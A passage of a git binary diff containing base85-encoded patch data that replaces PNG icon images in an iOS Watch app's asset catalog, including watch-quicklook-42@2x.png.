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 diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-42@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-42@2x.png index d09be6e98a6a113d9666f969665269d64517aaf1..37e1a554ea78898ec95d1bd42f9e378bb55c7216 100644 GIT binary patch literal 23204 zcmZ^KWl$YW5bfd@4VDDw;_eXK-8~T8-Q6vCaCdhN9^55pa0u=WK`+kZdsg*+yxrQJ zs;N2ETirb~-P30yloTXUk?@cJ06>+N5>t6^2mX6N(C=@>0bD)+fC4Nn7p_yZZo0Vc1)ei3ZNbh51+hU`#M z^oa`Q=z~y|3Tz{RMG+{DApyN9rW90XYY(#l=@8|2RRuV_C69>x+4oMK3A1~PImcYuB%E+F^EfcZYC0S~{A2&yYe zM?qQ9#>FAGBNu zBPue8z)lrtpU5U52F>C+;iv?X=Ad|@{6_H-O2POJ^_}E9E>N-{DERx+>&d%Hz{XN4 z@&MpP2>=1X0Py(U6>tauuFL>%Yybc}X#nuqA*)UKU2g!qk*uT`@b=%G*IAnQ-h<#G zEiaC641<8mhR|QxaQ3cTelImm7ZpQyu!EDmnWc>>*u~Sq6#PH6O&y=Dx?DW~MtLrc zWazyo-y-AV5h~!eGZrSs>7j^?%wyJG4#*$wV=wVsMDXCEQ(+?WWkq-{i-Z&zQ$3` z{Fx#5Dhh$E1-lAMEbyTpZYlbFR5=Ww{Ol2h@Z!?L)Z>6ulrOjJJ3-mdgyra!q<(`Q zpU$l92z{M)-|4;8;}O#fr}foFEJ@}f;**EmfNA-YnY35nlh+jT+VweM(wx>Zdn#2Q z50eA_XPD?vyxK*(MiOZMv%NR{sMYz)Tf8bw5E zN7ARG$Fb#@JJZIyxuc>A3V5$j;d))>Fw~#^b6*MeeC)F0Br3|EX_Rs{{Ta5mBDua_5YRNVrgsY>|$u^ z@V_x^49uKrEbkInc$hi=mk?jy+OT&F(SMkCYw{S|J9s)-np?O4lJ@rI?{=29GiC&{ zGP8WCLT2N7ABp{cMw*y98#`G#xLDfT0nRFtB5iTb2mtVPPg+b^&ExM`r)P(axFeU| zyzgX{d-p|`@5Yii_Q#JO(ZvQC7{eoxmACOYB3L5Y9Ut-|q~%5ye-#8FF@lY-$-}8d zOybX=Vj&)U>s{-v=h?R|ix;ta3c2ZQZ06_LPwUrD4|fRXncTCb?GM&N+yW>m3~n&S-tVK6CdBf7ZZ4>zN7Jd)Z_kj>|FbBlq+hY$c4 z-SX#rw`(m{9!!>J{5(|oE60s!R4)uY|0$MYzu6&Pem+S(6f6T4F7}_z>djElhi~N5 